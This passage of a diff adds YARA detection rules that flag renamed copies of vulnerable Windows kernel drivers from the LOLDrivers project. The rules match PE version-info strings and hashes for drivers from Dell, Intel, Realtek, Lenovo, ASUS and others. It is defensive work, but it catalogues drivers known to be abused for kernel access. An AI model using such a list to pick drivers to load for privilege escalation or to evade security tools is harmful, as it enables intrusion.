+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 } /* InternalName PanMonFltsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 } /* ProductName PanCafeManager */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 } /* OriginalFilename PanMonFltsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazlmBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /PanMonFlt/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Lenovogrouplimitedr_Lenovodiagnosticsdriversys_Lenovodiagnostics_F05B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LenovoDiagnosticsDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe"
+		date = "2023-06-14"
+		score = 70
+		id = "8613524c-6928-5d5a-9dd3-d067b93ac4b4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073002000440072006900760065007200200066006f0072002000570069006e0064006f0077007300200031003000200061006e00640020006c0061007400650072002e } /* FileDescription LenovoDiagnosticsDriverforWindowsandlater */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c0065006e006f0076006f002000470072006f007500700020004c0069006d00690074006500640020002800520029 } /* CompanyName LenovoGroupLimitedR */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 } /* InternalName LenovoDiagnosticsDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073 } /* ProductName LenovoDiagnostics */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 } /* OriginalFilename LenovoDiagnosticsDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000320030003200310020004c0065006e006f0076006f002000470072006f007500700020004c0069006d0069007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright LenovoGroupLimitedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /LenovoDiagnosticsDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Dell_Dbutil_71FE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DBUtilDrv2.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009"
+		date = "2023-06-14"
+		score = 70
+		id = "ee5c03fc-8778-57ef-b300-2009bbf9208f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440042005500740069006c } /* FileDescription DBUtil */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440065006c006c } /* CompanyName Dell */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0037002e0030002e0030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440042005500740069006c } /* ProductName DBUtil */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000320031002000440065006c006c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e0020 } /* LegalCopyright DellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /DBUtilDrv2/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Atszio_Atsziodriver_673B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "673bcec3d53fab5efd6e3bac25ac9d6cc51f6bbdf8336e38aade2713dc1ae11b"
+		hash = "31d8fc6f5fb837d5eb29db828d13ba8ee11867d86a90b2c2483a578e1d0ec43a"
+		date = "2023-06-14"
+		score = 70
+		id = "e4a1e60c-3b56-518b-ba68-798dd6d5fce6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f } /* InternalName ATSZIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ATSZIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asus_Asmmapsys_Atkgenericfunctionservice_025E {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - asmmap64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4"
+		date = "2023-06-14"
+		score = 70
+		id = "610c253b-de94-5ebd-af97-d0a6b1339d81"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0065006d006f007200790020006d0061007000700069006e00670020004400720069007600650072 } /* FileDescription MemorymappingDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005300550053 } /* CompanyName ASUS */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00610073006d006d00610070002e007300790073 } /* InternalName asmmapsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004b002000470065006e0065007200690063002000460075006e006300740069006f006e00200053006500720076006900630065 } /* ProductName ATKGenericFunctionService */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00610073006d006d00610070002e007300790073 } /* OriginalFilename asmmapsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /asmmap64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_FB81 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fb81b5f8bf69637dbdf050181499088a67d24577587bc520de94b5ee8996240f"
+		hash = "76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22"
+		hash = "2e665962c827ce0adbd29fe6bcf09bbb1d7a7022075d162ff9b65d0af9794ac0"
+		date = "2023-06-14"
+		score = 70
+		id = "922f318f-7f43-5844-8037-e40fcce7cb1a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 } /* FileDescription NovellXTierSessionManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /nscm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Realtek_Rtkiosys_Realtekiodriver_7133 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129"
+		date = "2023-06-14"
+		score = 70
+		id = "b352e8e9-b15a-5969-966d-00462cd461f4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* InternalName rtkiosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* OriginalFilename rtkiosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rtkio64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Lgelectronicsinc_Lhasys_Microsoftwindowsoperatingsystem_23BA {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LHA.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "23ba19352b1e71a965260bf4d5120f0200709ee8657ed381043bec9a938a1ade"
+		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
+		date = "2023-06-14"
+		score = 70
+		id = "dd239b64-e8dd-5850-9ec3-125245b6f0cd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c00480041 } /* FileDescription LHA */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c004700200045006c0065006300740072006f006e00690063007300200049006e0063002e } /* CompanyName LGElectronicsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c00480041002e007300790073 } /* InternalName LHAsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c00480041002e007300790073 } /* OriginalFilename LHAsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0075006c00740072006100620069006f007300400068006f0074006d00610069006c002e0063006f006d } /* LegalCopyright ultrabioshotmailcom */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /LHA/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Logmeininc_Lmiinfosys_Logmein_453B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LMIinfo.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "453be8f63cc6b116e2049659e081d896491cf1a426e3d5f029f98146a3f44233"
+		date = "2023-06-14"
+		score = 70
+		id = "ab17ebdd-3335-5868-a2b8-f6247cf7b778"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f0067004d00650049006e0020004b00650072006e0065006c00200049006e0066006f0072006d006100740069006f006e002000500072006f00760069006400650072 } /* FileDescription LogMeInKernelInformationProvider */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f0067004d00650049006e002c00200049006e0063002e } /* CompanyName LogMeInInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e0031002e0030002e0033003200320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 } /* InternalName LMIinfosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f0067004d00650049006e } /* ProductName LogMeIn */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c004d00490069006e0066006f002e007300790073 } /* OriginalFilename LMIinfosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033002d00320030003100370020004c006f0067004d00650049006e002c00200049006e0063002e00200050006100740065006e00740065006400200061006e006400200070006100740065006e00740073002000700065006e00640069006e0067002e } /* LegalCopyright CopyrightLogMeInIncPatentedandpatentspending */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /LMIinfo/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_C628 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c628cda1ef43defc00af45b79949675a8422490d32b080b3a8bb9434242bdbf2"
+		date = "2023-06-14"
+		score = 70
+		id = "b347378c-88d1-52bb-8a30-a6558a4bc725"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* FileDescription SEGWindowsDriverx */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e } /* CompanyName InsydeSoftwareCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002c00200030002c00200037002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* InternalName segwindrvxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* ProductName SEGWindowsDriverx */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* OriginalFilename segwindrvxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310034002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightcInsydeSoftwareCorpAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /segwindrvx64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2FBB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2fbbc276737047cb9b3ba5396756d28c1737342d89dce1b64c23a9c4513ae445"
+		date = "2023-06-14"
+		score = 70
+		id = "3582ec77-9fac-5e3a-9795-ac4429aeea01"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BCED {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f"
+		date = "2023-06-14"
+		score = 70
+		id = "40c14c2c-4e0b-5de6-a095-a6f68d9de2b2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e00330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300035 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Realtek_Rtkiowxsys_Realtekiodriver_082C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow8x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d"
+		date = "2023-06-14"
+		score = 70
+		id = "ad49ce42-e771-5b2c-a292-670c60de11af"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 } /* InternalName rtkiowxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 } /* OriginalFilename rtkiowxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rtkiow8x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_D1F4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d1f4949f76d8ac9f2fa844d16b1b45fb1375d149d46e414e4a4c9424dc66c91f"
+		date = "2023-06-14"
+		score = 70
+		id = "3435fbbb-b668-580e-a820-d65415d2daaa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0031002e00320020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0031002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003500200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_7CB4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7cb497abc44aad09a38160d6a071db499e05ff5871802ccc45d565d242026ee7"
+		date = "2023-06-14"
+		score = 70
+		id = "2c802dbd-41c6-5651-ad49-ba034d725a49"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100380020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310038 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003900200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Safenetinc_Hostnt_Hostnt_07B6 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HOSTNT.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357"
+		date = "2023-06-14"
+		score = 70
+		id = "a9a3ad7f-01cd-5e4f-964b-1ebd8faa1a92"
+	strings:
